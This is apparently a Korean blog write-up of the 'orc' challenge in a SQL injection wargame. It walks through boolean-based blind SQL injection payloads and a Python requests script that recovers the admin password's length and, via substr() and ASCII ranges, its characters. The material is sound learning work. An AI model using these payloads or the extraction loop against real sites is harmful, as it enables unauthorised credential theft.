Q4. orc
■ 문제
코드를 봤을때 쿼리 두개가 있고 admin 계정의 password 를 알면 풀리는 문제 같다
■ 해결 과정
> 쿼리문을 우회하는 것이 아닌 직접 admin의 password를 알아내야하므로 python requests 모듈을 사용한다
https://docs.python-requests.org/en/latest/user/quickstart/
- Python requests 모듈 사용하기
1. length() 함수를 사용하여 password의 길이를 구한다
2. substr() 함수를 사용하여 password를 이루고 있는 문자를 구한다
① Password 의 길이 구하기
> id가 존재하면 Hello admin이 출력됨을 확인
> ` ?pw= ' or id='admin' and length(pw)<5 %23 ` 입력시 결과
> ` ?pw= ' or id='admin' and length(pw)<10 %23 ` 입력시 10자리 이하 = True 값이 되어 Hello admin 출력
> 따옴표 때문에 admin 에 대한 중간 값이 무효화 되면서 or 뒤에 조건 판별을 수행하게 됨
이 쿼리 떄문에 비밀번호 범위가 맞게 입력되어 True 값이 나오면 hello admin을 확인하여 비밀번호 길이 유추가 가능해진다. 하지만 비밀번호의 길이가 길다면 길이를 특정하는데에 시간이 오래걸리므로 python requests 모듈을 사용하여 비밀번호를 구해보겠다
② Python Requests Module 사용하기
import requests
# 쿠키 값 넣기
cookie = {'PHPSESSID': '[php 쿠키 값을 넣으세요]'}
# 비밀 번호 길이 얻기
for i in range(1, 30):
address = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
URL = address + "?pw= 'or id='admin' and length(pw)=" + str(i) + "%23"
res = requests.get(URL, cookies=cookie)
if "<h2>Hello admin</h2>" in res.text:
print("length=" + str(i))
break
else:
print(str(i) + "---- 비밀번호 자릿수와 일치하지 않습니다")
해당 코드는 설정한 범위( 1부터 30 까지 )의 pw length를 반복하여 입력하여 hello admin이 나오면 길이를 출력하는 코드이다.
> 결과 값으로 pw length = 8 이라는 결과를 얻었다!
③ substr() 함수를 이용하여 password 구하기
✔️ substr() 함수란?
substr(string, start_index, length)
- string : 추출의 대상이 되는 문자열
- start_index : 추출을 시작하는 위치
- length : 인덱스로부터 추출할 문자의 갯수 ( 만약 값이 없다면 문자열 끝까지 추출 )
ex ) substr('abcdef', 3, 1)
> 인덱스 3부터 1개의 문자를 추출하므로 결과값은 d 가 나온다
위와 같은 방식으로 substr()을 python module을 사용할것이다. 만약 반복한 첫번째 문자가 password 와 일치할 경우 hello admin이 출력되는 것을 확인하여 password를 구한다
패스워드가 8글자 인것은 알아냈으니 1부터 8까지 자릿수에 아스키코드 상 47부터 123까지 대입해서 패스워드를 출력한다
- 아스키 코드 상 번호 의미
- 48~57: 0~9
- 65~90: A-Z
- 97~122: a-z
> 코드의 결과로 비밀번호를 얻을 수 있었고 이 비밀번호를 php에 입력한다
■ 해결 화면
'보안 > Wargame' 카테고리의 다른 글
[Load of SQL Injection] 6번 darkelf (0) | 2024.01.17 |
---|---|
[Load of SQL Injection] 5번 wolfman (0) | 2024.01.15 |
[Load of SQL Injection] 3번 Goblin (0) | 2024.01.13 |
[Load of SQL Injection] 2번 Cobolt (0) | 2024.01.13 |
[Load of SQL Injection] 1번 Gremlin (0) | 2024.01.13 |